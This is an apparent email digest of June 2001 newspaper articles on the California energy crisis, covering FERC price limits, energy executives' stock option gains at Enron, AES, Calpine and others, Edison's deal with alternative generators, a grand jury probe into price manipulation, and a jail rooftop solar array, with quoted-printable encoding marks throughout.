?????But Hebert has resisted Davis' central demand that FERC use its legal=
=20
authority to order a temporary return to fixed electricity rates. Such fixe=
d=20
rates, based on the cost of producing power plus an allowance for profit,=
=20
were standard before deregulation.
?????"The politics of the situation have changed significantly, and=20
commissioners are not immune to politics," said another senior agency=20
official. "The message from Capitol Hill has gotten stronger with a=20
Democratic Senate. Even the Bush administration is saying we should make su=
re=20
there is no price gouging."
?????FERC members have been summoned to testify before the Senate=20
Governmental Affairs Committee chaired by Sen. Joseph I. Lieberman (D-Conn.=
)=20
a week from today. Meanwhile, Sen. Jeff Bingaman (D-N.M.), the new Senate=
=20
Energy Committee chairman, has told FERC he will move legislation to cap=20
electricity rates in the West unless it acts soon.
?????Agency officials said commissioners do not want to face Lieberman next=
=20
week empty-handed.
?????House Republicans have also been prodding the agency. On Tuesday, Ener=
gy=20
Committee Chairman W.J. "Billy" Tauzin (R-La.) wrote Hebert to urge=20
Western-wide, round-the-clock price limits.
?????"We strongly urge the commission to implement a comprehensive plan to=
=20
mitigate wholesale prices and aggressively monitor wholesale sales of=20
electric energy . . . within the entire Western Systems Coordinating=20
Council," wrote Tauzin, referring to the Western power grid.
?????FERC officials said a strong effort is underway to achieve a consensus=
=20
on the five-member commission, lately riven by ideology but now bolstered b=
y=20
two new pragmatic commissioners who favor active oversight of industry.
?????Commissioner William Massey, who for months has been a lonely dissente=
r,=20
is continuing to press for the traditional price caps sought by Davis,=20
officials said. Once marginalized, Massey apparently is now being actively=
=20
wooed by the other members.
?????S. David Freeman, an energy advisor to Gov. Davis, said Tuesday that=
=20
expanding FERC's current price limits would be a positive step. But he adde=
d=20
that the governor continues to advocate a return to traditional, fixed rate=
s.
?????"Any strengthening of the [FERC] plan is in the public interest,"=20
Freeman told reporters at a Washington news conference.
?????FERC's price limits are not keyed to a particular dollar amount but ar=
e=20
flexible.
?????When a power emergency is called by the state, FERC's plan limits the=
=20
price that generators can charge to what it costs to produce power at the=
=20
least efficient plant running at that time. (The costs of all the plants ar=
e=20
determined beforehand by California's grid operator based on data filed by=
=20
the generators.)
?????Another requirement of the FERC plan forces generators using the=20
California grid to sell any power they have available during emergency=20
conditions.
?????When the price limits were tested in two emergencies late last month,=
=20
prices came down quickly. But power sellers complained that the limits were=
=20
too strict. And by the second emergency, there was evidence that some selle=
rs=20
had started finding ways around the limits.

Energy Execs Gain Millions in Stock Sales=20
Power: Some say they have profited from the state's crisis. Others say the=
=20
practice is standard.=20

By JERRY HIRSCH, Times Staff Writer=20

?????Top executives and directors at many of the large power companies that=
=20
California officials accuse of profiteering from the energy crisis have=20
collected tens and even hundreds of millions of dollars through stock sales=
.
?????Beginning early last year, these executives exercised options and sold=
=20
stock for huge gains at two, three and even 10 times the level of prior=20
years, according to a study by The Times of trading data supplied by First=
=20
Call/Thomson Financial and federal regulatory filings.

Executives' Stock Deals

Click to see full graphic.

?????Most of the energy companies would not discuss specific trades by=20
executives, but said that granting stock options is a standard practice use=
d=20
to compensate top managers and other key players.
?????In selling in the last year, the executives have demonstrated a knack=
=20
for timing the transactions near the top of the market, a logical strategy,=
=20
executive-pay experts said. Indeed, many of these companies' shares have=20
fallen since the bulk of the stock sales.
?????But critics say it is the energy crisis in California and the West tha=
t=20
has driven up corporate profits at these companies--including AES Corp. of=
=20
Virginia, Duke Energy Corp. of North Carolina and Houston-based energy=20
concerns Enron Corp. and El Paso Corp. The crisis created a bull market for=
=20
publicly traded power companies--and made the shares held by the executives=
=20
especially lucrative.
?????Enron Chairman Kenneth L. Lay netted $123 million in option transactio=
ns=20
last year, according to a filing with the Securities and Exchange Commissio=
n.=20
That was nearly three times his gains the previous year and nearly 10 times=
=20
what he made in 1998.
?????Lay has made additional gains this year. He has cashed in options and=
=20
sold shares to net nearly $23 million since November, while holding on to=
=20
50,000 additional shares with a market value of $2.5 million, according to=
=20
First Call/Thomson Financial data.
?????Meanwhile, Jeffrey K. Skilling, Enron's chief executive, netted more=
=20
than $62 million last year in options gains.
?????Other executives are exercising options for huge gains but then holdin=
g=20
on to the shares. Roger W. Sant, chairman of AES, bought 436,500 shares in=
=20
the Arlington, Va.-based company Oct. 26, paying $1.62 a share and producin=
g=20
a paper gain of more than $21.5 million at the time of the transaction.
?????But some also cashed out large holdings acquired over years. For=20
example, Robert Hemphill Jr., a longtime AES executive who now serves on it=
s=20
board of directors, has sold $50 million of the company's stock in the last=
=20
13 months.
?????David Arledge, a director of El Paso Corp. and former executive at a=
=20
company acquired by the Houston natural gas firm, has sold nearly $27 milli=
on=20
in stock since Nov. 1.
?????Cashing in when an industry is hot is typical of corporate executives =
in=20
the U.S., said Graef Crystal, a Las Vegas-based expert on executive=20
compensation. But when an individual's transactions approach or cross the=
=20
hundred-million-dollar level, he said, the gains become unusual.
?????California officeholders and policymakers expressed outrage but not=20
surprise at the transactions.
?????"It is part of a pattern of smart trading by these guys," said state=
=20
Sen. Debra Bowen (D-Marina del Rey), who chairs the Senate Energy, Utilitie=
s=20
and Communications Committee. "The mentality is to get everything that you=
=20
can and then ride out the bust.
?????"I think they are figuring that by this time next year the party will =
be=20
over and they will be left sitting in a room with plastic cups half-filled=
=20
with stale beer," Bowen said.
?????Said Loretta Lynch, president of the California Public Utilities=20
Commission: "It stands to reason that if the companies are making exorbitan=
t=20
profits, then the individuals who run the companies are also making=20
exorbitant profits."

?????Government Agencies Investigating Firms
?????Indeed, the stock sales have taken place against a backdrop of acrimon=
y=20
between state officials and the power companies.
?????Last month, Lynch told The Times that state investigators have uncover=
ed=20
evidence that a "cartel" of power companies shut down plants for unnecessar=
y=20
maintenance to create shortages and thus increase prices and profits. Lynch=
=20
did not name the companies.
?????State and federal agencies are investigating the actions of several of=
=20
the big energy companies, seeking to verify charges that they have conspire=
d=20
to boost prices by limiting construction of power plants, in one case, or b=
y=20
limiting the amount of natural gas available in the power-hungry California=
=20
market.
?????Executives at firms not accused of price gouging also have cashed in.
?????Ann B. Curtis, chief financial officer of Calpine Corp., a San=20
Jose-based power plant builder and generator, has netted more than $10=20
million in option transactions in the last year. That compares with a total=
=20
of $5 million in the four previous years.
?????Some analysts say the transactions are to be expected, considering the=
=20
changing nature of the power industry.
?????"Unlike at the old-line utilities where insiders rarely sell, we've=20
grown accustomed to insider sales at the diversified power producers," said=
=20
Paul Elliott, a First Call/Thomson Financial analyst. "I'm not convinced th=
at=20
these sales raise any red flags at this point."
?????Although no one is saying that any of the stock trades were illegal,=
=20
critics link the value of the transactions to the profits streaming out of=
=20
?????"The generators have no shame," said Steve Maviglio, a spokesman for=
=20
California Gov. Gray Davis. "It speaks to how there has been a massive=20
transfer of wealth from California and the West to Texas and the Southeast.=
"
?????In reporting record financial results for the first quarter of this=20
year, Enron said it posted a 281% increase in revenue to $50.1 billion and =
a=20
20% increase in net income to $406 million.
?????The company did not break out numbers for its California business but=
=20
did note that it sold nearly twice as much electricity in North America=20
compared with a year earlier, and that sales of natural gas had risen by a=
=20
third.
?????Lay, the Enron chairman, "has given himself very generous stock option=
s=20
over the years," compensation expert Crystal said.
?????"You might think of him as a farmer who has planted thousands of acres=
=20
of stock options. Now he is harvesting a bumper crop. What he is harvesting=
=20
is the hard-earned paychecks of California workers and taxpayers."
?????Mark Palmer, an Enron spokesman, declined to talk about executives'=20
stock trading activity.
?????"All Enron employees are shareholders. How they decide to use that as =
a=20
form of compensation is completely up to them," Palmer said. "Mr. Lay is no=
t=20
going to talk about his compensation."=20
?????A spokesman for AES also declined to talk about stock sales by its=20
employees.
?????Other companies were more willing to discuss such sales.
?????"Many of these people have a lot of stock, and this [is] an opportunit=
y=20
to diversify their personal portfolios at an opportune time when Duke's sto=
ck=20
is up," said Terry Francisco, a spokesman for Duke Energy.
?????Francisco said many of the sellers at Duke continue to hold large=20
amounts of the company's stock. That also holds true for executives of the=
=20
other firms.
?????Calpine Chief Executive Peter Cartwright, for example, sold nearly $20=
=20
million in his company's shares since May 2000, when wholesale electricity=
=20
prices started rising and the state's energy crisis took root. His remainin=
g=20
holdings have a market value of more than $400 million, according to SEC=20
filings.

?????'Getting Out While the Getting Is Good'?
?????El Paso spokeswoman Norma Dunn noted that Arledge, one of the largest=
=20
sellers, was CEO of Coastal Corp., a company acquired by El Paso, and chose=
=20
to sell some of his holdings after the merger.
?????One factor in the heavy sales of energy company shares is that=20
executives at these companies may be reading the changing marketplace and=
=20
seeing increased political pressure to rein in energy prices, analysts said=
.
?????"They may feel that this power game is not going to go on forever, so=
=20
they are getting out while the getting is good," said David Moreland, a=20
benefits consultant with CMG Consulting Inc. in San Jose.
?????Much of the executives' gains stem from the common practice of grantin=
g=20
low-priced options to management. At Calpine, for example, both Curtis and=
=20
Cartwright gained millions of dollars selling shares purchased from the=20
company at just 7 cents and $1.07 a share and then sold for more than $40 a=
=20
share.
?????Companies grant these options as an incentive for management to increa=
se=20
the investment value of shareholders. They provide for giant payoffs withou=
t=20
the company having to fork out cash.
?????Yet there is a cost to the company, analyst Crystal said. The deals=20
increase the number of shares outstanding, incrementally diminishing the=20
holdings of other investors.
?????When the option tab hits tens of millions of dollars or more, the=20
company is in essence handing the money to executives rather than using it =
to=20
expand the company, Crystal said.
?????"This is not the tooth fairy," he said.

Edison Reaches Accord With Alternative Generators=20

By NANCY RIVERA BROOKS and TIM REITERMAN, Times Staff Writers=20

?????Southern California Edison reached an agreement Tuesday to stabilize=
=20
prices and pay part of its debts to alternative power producers, an importa=
nt=20
source of electricity that could help California avoid blackouts this summe=
r.
?????The deal, reached with key representatives of the power producers, cal=
ls=20
for an end to litigation by those small companies that produce power from=
=20
alternative sources such as wind, solar, geothermal, biomass and at gas-fir=
ed=20
cogeneration facilities.
?????Edison owes those generators millions of dollars for electricity, and =
33=20
lawsuits have been filed against the Rosemead utility to recover debts,=20
attach assets and get out of the contracts. The small generators have been=
=20
viewed as some of Edison's most dangerous creditors because they would be=
=20
more likely than large financial institutions to force Edison into Bankrupt=
cy=20
Court.
?????"We hope this agreement will help bring stability back to this segment=
=20
of California's energy market," said Brian Bennett, Edison vice president o=
f=20
external affairs.
?????About 700 of the small producers generate more than one-fourth of the=
=20
state's electricity. Rolling blackouts in March were caused in part by the=
=20
alternative generators, many of which cut production because they weren't=
=20
being paid by Edison and Pacific Gas & Electric.
?????The PUC ordered the utilities to begin paying the generators in late=
=20
March, and most are again producing power.
?????Edison did not release details of the agreement, which it filed with t=
he=20
California Public Utilities Commission late Tuesday, other than to say that=
=20
it deals with payment to the producers, pricing of power purchased from the=
=20
generators and settlement of litigation.
?????"I hear it's a good deal," said Joe Ronan, chairman of the Independent=
=20
Energy Producers Assn., which has been involved in the negotiations.
?????Ronan, a Calpine vice president, said he learned the deal calls for a=
=20
multiyear contract that would pay generators $53.70 per megawatt-hour. Even=
=20
though the prices are lower than historic highs of $200 or more for=20
alternative energy, Ronan said the multiyear deals will bring much needed=
=20
stability.
?????Gas-fired plants, he said, would be protected from volatility in the=
=20
natural gas market because the price they receive will go up if a wholesale=
=20
price index does.
?????The PUC is scheduled to consider a proposal for resolving the issue=20
today at a special meeting.
?????An earlier proposal called for Edison and PG&E to make payments of 15%=
=20
of the amount due to the small energy providers that demonstrate a need for=
=20
the money to keep operating.
?????The PUC recently deferred taking action on the order because the=20
commission wanted to make sure that its order was in line with a court ruli=
ng=20
in PG&E's bankruptcy case and to provide added time for negotiations=20
conducted by the governor's office to succeed, President Loretta Lynch said=
.
?????The alternative producers have been meeting recently with the utilitie=
s=20
and Davis energy czar David Freeman in hopes of resolving their differences=
=20
over past payments. But Davis spokesman Roger Salazar said late Tuesday tha=
t=20
he was unaware of the settlement and noted that Freeman was in Washington o=
n=20
Tuesday.
?????"I don't know if they have done something on their own," he said.
?????PUC Commissioner Carl Wood, a key player in the controversy, said he=
=20
heard an agreement had been reached but had not yet received the details.=
=20
?????"I hope this will settle [the issue], and we can get everyone back=20
online," he said. "We can put this piece of the [energy crisis] puzzle in t=
he=20
box."
?????Wood said most of the alternative energy providers are operating but i=
t=20
is not clear that all are operating at full capacity, which will be needed=
=20
this summer.
?????PG&E spokesman Jon Tremayne said that the utility, which serves Northe=
rn=20
and Central California, is not part of the settlement.
?????PG&E, he said, had been paying energy providers about 15 cents on the=
=20
dollar as the utility plunged toward bankruptcy. He said the company, which=
=20
still owes hundreds of millions to the alternative generators, was continui=
ng=20
to talk with them. "All of ours are online, except for those down for=20
maintenance," he said.
?????About two dozen alternative energy providers have filed motions in=20
PG&E's Chapter 11 bankruptcy case in San Francisco, generally seeking back=
=20
payments and to be released from their contracts so they can sell power at=
=20
higher prices on the open market.
?????The bankruptcy judge in the case recently ordered PG&E to pay at least=
=20
20% of its past debt over the next four months to several of the energy=20
producers and said the order would serve as a template for resolving the=20
disputes with the other ones. He declined to release the cogenerating plant=
s=20
and other producers from their contracts with the utility.

California-Only Sales Rule Fought by Plant=20

By CHRISTINE HANLEY, Times Staff Writer=20

?????A month after winning final approval to restart two idle generators in=
=20
Huntington Beach, AES Corp. is fighting a requirement that it sell all the=
=20
electricity from the units within California, arguing that such a condition=
=20
violates interstate commerce laws.
?????AES also asks that the California-only restriction be withdrawn becaus=
e=20
it obstructs the company's continuing efforts to forge a contract with the=
=20
state Department of Water Resources, the agency brokering power deals.
?????"AES believes that this condition was and is based upon errors of law=
=20
and fact," the power giant said in a petition filed Monday with the=20
California Energy Commission.
?????AES spokesman Aaron Thomas said Tuesday that the two sides are very=20
close to a deal and that the petition is only a precaution should=20
negotiations fail.
?????"It's only if we can't get the agreement over the goal line," he said=
=20
without elaborating on the sticking points.=20
?????The sales condition, unprecedented in the state, was considered a deal=
=20
maker as state officials sought a balance between California's energy needs=
=20
and concerns of community activists and officials in Huntington Beach.
?????Local leaders expressed disappointment but not surprise that AES would=
=20
try to find a way out of selling the power only to the state.
?????"They want to make as much money as they can," City Councilwoman Debbi=
e=20
Cook said. "We wish they would become part of our community rather than=20
fighting us."
?????Negotiations between AES and the state agency began in March and=20
intensified after the Energy Commission, in granting a fast-track=20
construction permit May 11, limited operation of the two units to 10 years=
=20
and ruled that their combined 450 megawatts must be sold within California.=
=20
The 40-year-old units, to reopen in August, will generate 10% of the 5,000=
=20
megawatts the state hopes to bring into service this summer to avert an=20
electricity shortage.

Power kingpins rake in millions in stock deals=20
Capital gains enriched 76 insiders, records show=20
Scott Winokur, Christian Berthelsen, Chronicle Staff Writers
Wednesday, June 13, 2001=20
URL: http://www.sfgate.com/cgi-bin/article.cgi?f=3D/c/a/2001/06/13/MN115119=
.DTL=20
As California's energy problems spiraled out of control over the past year,=
=20
76 top power-com_pany officials reaped a staggering $298.34 million in=20
capital gains on stock deals, a Chronicle review of public records shows.=
=20
Among the big winners were 19 officials at Enron Corp. of Houston, which is=
=20
headed by Kenneth Lay, an unofficial energy adviser to the Bush=20
administration.=20
Enron insiders netted $127.33 million, according to the analysis, which=20
reviewed records of securities transactions between May 2000, when the=20
state's energy crisis began, and the end of April 2001. Lay, the company=20
chairman, got more than a fifth of his firm's total capital gain, $27.19=20
As defined by federal law, an insider is an officer or director of a public=
ly=20
held company or a person or entity that owns at least 10 percent of a=20
particular class of its shares. Insider trades are not illegal.=20
Loretta Lynch, chairwoman of the state Public Utilities Commission, said sh=
e=20
deplored the personal windfalls found in The Chronicle analysis because she=
=20
believed the profits behind them "come on the backs of California families=
=20
and businesses."=20
She said the analysis made it clear that officials had been handsomely=20
rewarded "for executing a strategy that allows them to game our rules," a=
=20
reference to state regulators' contention that power companies engage in=20
illegal market manipulation. The companies deny the allegation.=20
Besides Enron, firms whose executives and directors profited from insider=
=20
trading include:=20
-- The AES Corp. of Arlington, Va., where 23 insiders netted $88.17 million=
=20
between June 2000 and April 2001;=20
-- The Calpine Corp. of San Jose, where four insiders netted $46.39 million=
=20
between May 2000 and early March 2001;=20
-- Dynegy Inc., of Houston, where 13 insiders netted $21.38 million between=
=20
May 2000 and April 2001.=20
Other companies in the California energy market with insiders who fared wel=
l=20
were:=20
The Duke Energy Corp. of Charlotte, N.C., where nine netted $7.81 million=
=20
between May 2000 and February 2001; The Williams Companies Inc., of Tulsa,=
=20
Okla., where six netted $5.36 million between mid-June 2000 and March 2001;=
=20
and Reliant Energy Inc., of Houston, whose president, Joe Bob Perkins, and=
=20
chief financial officer, Mary Ricciardello, netted $1.9 million on April 5,=
=20
18 and 19.=20
In all, The Chronicle analysis focused on executives and directors of power=
=20
companies selling more than 40 percent of the electricity consumed in=20
California. The insiders averaged $4 million each in capital gains.=20
"This puts a human face on the extent to which Californians have been=20
robbed," said San Diego consumer activist Michael Shames. "We have the=20
makings of a new breed of megawatt mogul becoming wealthy at California's=
=20
expense."=20
Nettie Hoge, who heads The Utility Reform Network, a San Francisco-based=20
watchdog group, said she was "astounded" by what she considered the lack of=
=20
"shame, circumspection and conscience."=20
"Put this against homeless who say energy costs put them over the edge and =
we=20
have a very stark picture," Hoge said.=20
The insider trades were documented by the Securities and Exchange Commissio=
n=20
and posted electronically by private financial information gatherers. All=
=20
involved the exercise of options allowing the companies' officers and=20
directors to buy stock in their own firms at huge discounts, pennies per=20
share in some cases. If an option is exercised but the shares acquired=20
through it are not sold, the gain commonly is considered to be an unrealize=
d=20
"paper gain." The $298.34 million collected by the insiders includes both=
=20
paper gains and actual cash gains, which are collectively considered capita=
l=20
gains.=20
Gary Ackerman, head of the Menlo Park-based Western Power Trading Forum,=20
whose membership includes the companies in The Chronicle analysis, staunchl=
y=20
defended the insider activity, noting that the energy firms make money in=
=20
other ways than selling electricity in California.=20
In any case, Ackerman said, the insider activity was "allowable" under law,=
=20
and nothing about it was "wrong or immoral."=20
However, Ackerman acknowledged, the numbers could be an embarrassment.=20
"I'm sure they wouldn't want it out, nor would anybody at this time, when=
=20
people are so upset and so angry about the way things are going in=20
California, " Ackerman said.=20
Calpine spokesman Bill Highlander said the industry and its leaders had=20
nothing to defend.=20
"It's all public information. The purpose of American business is to make=
=20
money," Highlander said. "For those companies that take risk and are=20
successful, the people who run it and work for it should share in that=20
success.=20
I don't think you'd find it different in any other industry."=20
Aaron Thomas, a spokesman for AES, said there was "no connection" between h=
is=20
company's record in California and its executives' decisions to exercise=20
their stock options.=20
Terry Francisco, a spokesman for Duke, said company policy prohibited him=
=20
from discussing the exercise of options by specific individuals. But he sai=
d=20
such insider trades would be smart moves for executives whose overall=20
compensation is tied closely to the company's stock price -- particularly=
=20
when that price has appreciated 50 percent in a single year, as Duke's has.=
=20
Enron spokesmen did not return calls.=20
The one exception among the eight power companies in The Chronicle analysis=
=20
was the Mirant Corp. of Atlanta, which has a major presence in the Bay Area=
.=20
Ten Mirant insiders lost nearly $14,000 in transactions on March 28 and on=
=20
the last two trading days in April, the 27th and 30th.=20
SOARING ENERGY PRICES
At the same time the energy companies' officers and directors were exercisi=
ng=20
options, the prices their companies charged California utilities soared,=20
bankrupting the giant Pacific Gas and Electric Co., threatening to sink=20
Southern California Edison and prompting state regulators to lift a longtim=
e=20
cap on electric rates paid by consumers.=20
The price of a megawatt hour of electricity -- enough to power 1,000 homes=
=20
simultaneously for an hour -- rose 289 percent in 2000 over 1999 in=20
California's markets where power is purchased a day-ahead or an hour-ahead.=
=20
It went from an average of $28.34 to $110.51. In December alone, average=20
prices rose twelvefold, from $31.88 to $425.59.=20
Prices in the real-time spot market run by the California Independent Syste=
m=20
Operator were much higher. Duke has acknowledged charging nearly $3,900 per=
=20
megawatt hour for power sold earlier this year, and Reliant Energy charges=
=20
reached $1,900 at one point.=20
The ISO on June 8 increased to half a dozen the number of power companies i=
t=20
has formally accused of market manipulation in a complaint before the Feder=
al=20
Energy Regulatory Commission. The ISO estimates that the six firms -- all=
=20
those in The Chronicle analysis except Calpine and Enron -- overcharged the=
=20
state $6.7 billion.=20
While the companies decline to say how much of their success is attributabl=
e=20
to California, a review of their data shows that they have moved far afield=
=20
from their home states to unregulated markets, such as California's.=20
As they have done this, their fortunes have improved -- in some cases over =
a=20
period of time coinciding with the steady deepening of the state's crisis.=
=20
NEARLY $10 MILLION IN 6 DAYS
The Chronicle analysis showed that windfalls were widespread:=20
-- Between Feb. 22 and 27, Peter Cartwright, Calpine's chief executive=20
officer, exercised his right to buy 215,000 shares at prices ranging from=
=20
seven cents to $1.07 per share, for a total outlay of $179,800. During=20
exactly the same period, Cartwright sold 215,000 shares at prices ranging=
=20
from $42.34 to $46.40. The sales brought Cartwright $9.64 million -- a gain=
=20
of $9.46 million.=20
A week later, Cartwright netted $2.36 million on a two-day turnaround,=20
cashing in on options that had cost him seven cents each.=20
He had been similarly active in late 2000, turning three deals in September=
,=20
November and December on options priced at seven cents and 13 cents. Net=20
capital gain: $9.76 million.=20
Cartwright wasn't the only Calpine insider to do well. Others include chief=
=20
financial officer Ann B. Curtis and directors Susan Schwab and George=20
Stathakis. In 10 transactions between November and March, Curtis, Schwab an=
d=20
Stathakis exercised more than 200,000 options at prices ranging from seven=
=20
cents to $2.57 each. Net capital gain: $15.06 million.=20
-- AES co-founder and chairman of the board Roger W. Sant, a former federal=
=20
energy official, exercised his option rights on 693,396 shares on Oct. 26 a=
nd=20
Nov. 30, at $1.62 per option, for a total outlay of $1,121,568. On Nov. 30,=
=20
AES stock closed at $51.875 per share on the New York Stock Exchange. Sant'=
s=20
capital gain by the end of business on that date was $34.85 million.=20
AES senior vice president Roger Naill and vice president Paul Stinson have=
=20
been active insiders, too. Naill exercised 92,700 options between Aug. 3 an=
d=20
Aug. 8 at $1.62 per option. He sold the identical number of shares during t=
he=20
same period for prices ranging from $51.94 to $56.50. Naill's net realized=
=20
capital gain: $4.8 million.=20
Eight days after Naill's last trade, Stinson exercised 36,800 options for=
=20
$5.13 each. He sold 36,800 shares the same day at $55.88, for a total of=20
$2.06 million. Net realized capital gain: $1.8 million.=20
-- Louis Dorey, president of Dynegy's Energy Marketing and Origination unit=
,=20
bought 26,000 options and sold 26,000 shares between April 18 and 24, for a=
=20
net capital gain of $1.2 million. Robert Doty Jr., senior vice president an=
d=20
chief financial officer of Dynegy, exercised 68,715 options on Oct. 4 and=
=20
sold 40,000 shares the same day. Net gain: $1.94 million.=20
-- Keith E. Bailey, chairman, president and chief executive officer of=20
Williams, exercised 150,030 options on June 28 of last year, for a total=20
outlay of $3.53 million. The same number of shares were worth $6 million at=
=20
the close of trading that day.=20
-- In separate transactions on Nov. 1-3, Richard Priory and Richard Osborne=
=20
of Duke Energy, the company's chief executive and chief financial officers,=
=20
netted $1 million each. On Feb. 21, Duke's group president of energy=20
services, Harvey Padewer netted $2.98 million exercising nearly 300,000=20
options and then selling an identical amount of stock.=20

E-mail Scott Winokur at swinokur@sfchronicle.com and Christian Berthelsen a=
t=20
cberthelsen@sfchronicle.com.=20
Big gains
   Companies with largest insider capital gains during energy crisis:
   Headquarters                            Number   =20
                                             of         Total
   Company                     city       insiders capital gains
   Enron Corp.                 Houston        19  $127.33 million
   AES Corp.                   Arlington, Va. 23    88.17 million
   Calpine Corp.               San Jose        4    46.39 million
   Dynegy Inc.                 Houston        13    21.38 million
   Duke Energy Corp.           Charlotte, N.C. 9     7.81 million
   The Williams Companies Inc. Tulsa, Okla.    6     5.36 million
   Reliant Energy Inc.         Houston         2     1.9 million

Top individual gainers in options exercises and insider trades
   1   Roger W. Sant
   Chairman, AES Corp.
   $34.85 million
   2   Kenneth Lay
   Chairman, Enron Corp.
   $27.19 million
   3   Peter Cartwright=20
   Chief executive, Calpine Corp.
   $21.58 million
.
Chronicle Graphic

Grand jury to look at energy suppliers=20
Inquiry into possible price manipulation=20
URL: http://www.sfgate.com/cgi-bin/article.cgi?f=3D/c/a/2001/06/13/MN109452=
.DTL=20
Sacramento -- California Attorney General Bill Lockyer said yesterday he wi=
ll=20
convene a criminal grand jury to investigate whether power generators=20
illegally manipulated energy prices.=20
Lockyer said the investigation will look into whether generators worked=20
together -- directly or indirectly -- to drive up electricity and natural g=
as=20
prices by withholding energy, shutting down plants or exploiting the biddin=
g=20
process. The investigation will begin shortly after July 1, when a new 19-=
=20
member Sacramento County grand jury is seated.=20
"This doesn't indicate we've reached a conclusion. It's a process to get at=
=20
the truth," Lockyer said in an interview with The Chronicle. "This is the=
=20
beginning of the criminal focus."=20
Since August, Lockyer has been investigating whether generators manipulated=
=20
the market or used unfair business practices or if their executives engaged=
=20
in criminal behavior.=20
Generators deny any manipulation of the market. They say their electricity=
=20
prices simply reflect a lack of supply, plant breakdowns and the high cost =
of=20
natural gas, which fuels most power plants.=20
Lockyer would not say whether he has evidence of market manipulation but=20
indicated that the grand jury will be an investigative tool.=20
"The purpose of the effort is to make sure no stone is left unturned in our=
=20
investigation of electrical and natural gas businesses," Lockyer said.=20
Working with Lockyer, the PUC will be checking into whether generators time=
d=20
maintenance and shutdowns to drive up prices -- a charge generators=20
repeatedly deny.=20
"We've had the Public Utilities Commission visit our facilities 65 times.=
=20
They were here today for the second time in a couple of days. They've yet t=
o=20
prove manipulation or withholding because we have not manipulated and we ha=
ve=20
not withheld," said Pat Dorinson, a spokesman for Mirant, which operates tw=
o=20
power plants in the Bay Area.=20
"If they have hard evidence to the contrary, they should bring it forward,"=
=20
Dorinson said.=20
Tom Williams, a spokesman for Duke Energy, laughed when he was told of the=
=20
grand jury convening.=20
He said the North Carolina-based company had been running its plants hard, =
at=20
the state's request, and charging "below the clearinghouse price" this year=
=20
and last year.=20
"Those are two fundamental things, both on price and supply, that will be a=
=20
fundamental component of anything we present" to an investigation, Williams=
=20
said.=20
Gov. Gray Davis talked by telephone with Lockyer Monday about the status of=
=20
his investigation.=20
Steve Maviglio, Davis' press secretary, said in a statement: "There is a=20
growing body of evidence that may give the attorney general the opportunity=
=20
to proceed with criminal as well as civil actions."=20
Lockyer said he did not know how long the grand jury would investigate the=
=20
issue.=20
It takes 12 of the grand jury's 19 members to return an indictment. Each=20
grand jury serves for a year.=20
Lockyer's investigation is not related to one by the Senate Select Committe=
e=20
to Investigate Price Manipulation in the Wholesale Energy Market. It has=20
subpoenaed documents from the state's biggest generators.=20
"I don't know about criminal activity. I wouldn't put it in those terms,"=
=20
said state Sen. Joe Dunn, D-Santa Ana, chairman of the Senate investigative=
=20
committee. "Has there been market power exercised in a collusive fashion? T=
he=20
answer is there is activity that is suspicious at first blush."=20

Santa Rita solar array starts making electricity=20
Jail's system will make 500 kilowatts=20
Benjamin Pimentel, Chronicle Staff Writer
URL: http://www.sfgate.com/cgi-bin/article.cgi?f=3D/c/a/2001/06/13/MN119107=
.DTL=20

Alameda County's main jail has begun drawing juice from the sun as workers=
=20
lay out what will be the largest array of rooftop solar panels anywhere in=
=20
the Western Hemisphere.=20
When the giant project is finished next month, Santa Rita County Jail in=20
Dublin will resemble a power plant, with one-third of its buildings covered=
=20
with nearly 5,000 panels with photovoltaic cells -- generating enough energ=
y=20
to power 500 homes.=20
"We're producing clean, reliable power," Matt Muniz, Alameda County's energ=
y=20
program manager, said at a news briefing yesterday. "The real importance of=
=20
this is reducing energy costs for the county."=20
The jail project highlights the growing popularity of solar energy,=20
particularly in sunny California in the middle of a power crisis, said Dani=
el=20
Shugar, an executive at PowerLight Corp. of Berkeley, which is installing t=
he=20
array.=20
Another big solar project is planned at the Neutrogena Corp.'s facility in=
=20
Los Angeles, and last week PowerLight started up a huge rooftop system at t=
he=20
Tompkins County Public Library in Ithaca, N.Y., said company spokeswoman=20
Susan DeVico.=20
At Santa Rita, the first batch of about 4,700, 4-foot by 4-foot panels were=
=20
switched on at the 113-acre jail last week, and they generate about 65=20
kilowatts of power, Muniz said.=20
The system will produce about 500 kilowatts, Muniz said, saving the county=
=20
about $300,000 a year in energy costs. It will also help the jail deal with=
=20
the expected rolling blackouts in the coming hot months. Santa Rita is not=
=20
exempt from blackouts.=20
Aki Nakao, director of the county's general services agency, said the sun-=
=20
kissed community of Dublin was perfect for the $4.4 million project, which =
is=20
being funded with the help of state grants.=20
"We're in the sunny side of the county," he said. "So it made sense."=20
Muniz said that of all county facilities, the jail also had the largest roo=
f=20
and is the largest user of electricity.=20
Shugar said the solar array will generate the most power during hours when=
=20
the need is greatest.=20
"In Alameda County, you are blessed with a phenomenal solar resource," he=
=20
said. "It's not just energy, but very high value energy. It's produced at a=
=20
time of greatest need."=20
High costs once prevented the widespread use of solar energy, but new=20
technology has paved the way for cheaper and more efficient systems that ta=
p=20
the sun as a main source of power, he added.=20
The world's largest rooftop system is in Germany, Shugar said. In the Unite=
d=20
States, PowerLight also built some of the largest roof-mounted solar power=
=20
systems anywhere, including one at a commercial building in Fountain Valley=
=20
(Orange County) that produces about 400 kilowatts of power, he said.=20
In the Bay Area, the largest rooftop solar energy array can be found at the=
=20
company's own manufacturing plant in Berkeley, Shugar said.=20
Less than 1 percent of electricity generated in California came from solar=
=20
sources in 1999, the latest year tabulated by the California Energy=20
Commission.=20
The vast bulk of that, more than 95 percent, came from solar thermal=20
installations in deserts that heat a liquid core connected to steam=20
generation.=20
Still, photovoltaic production worldwide has jumped dramatically in recent=
=20
years, led by Japan, the United States and Europe.=20
E-mail Benjamin Pimentel at bpimentel@sfchronicle.com.=20
,2001 San Francisco Chronicle ? Page?A - 17=20

'Dig-it-out-burn-it-up' methods won't work=20
Elizabeth Jones, Dan Jacobson
URL:=20
http://www.sfgate.com/cgi-bin/article.cgi?file=3D/chronicle/archive/2001/06=
/13/E
D168204.DTL=20
WE ARE FACING a tough summer here in California. With rolling blackouts and=
=20
higher electric rates, everyone agrees that we need an energy plan.=20
But just what kind of plan is the question.=20
The oil and gas industries, who have much to gain by the energy crisis, are=
=20
pushing plans to increase energy supply via the same old "dig-it-out-burn-i=
t-=20
up" methods that are dirty, dangerous and won't deliver secure, affordable=
=20
energy supply to the public.=20
Unfortunately, our politicians may be listening.=20
Last month, President Bush released his energy plan that calls for building=
=20
more than 1,000 power plants; drilling on public lands; rolling back=20
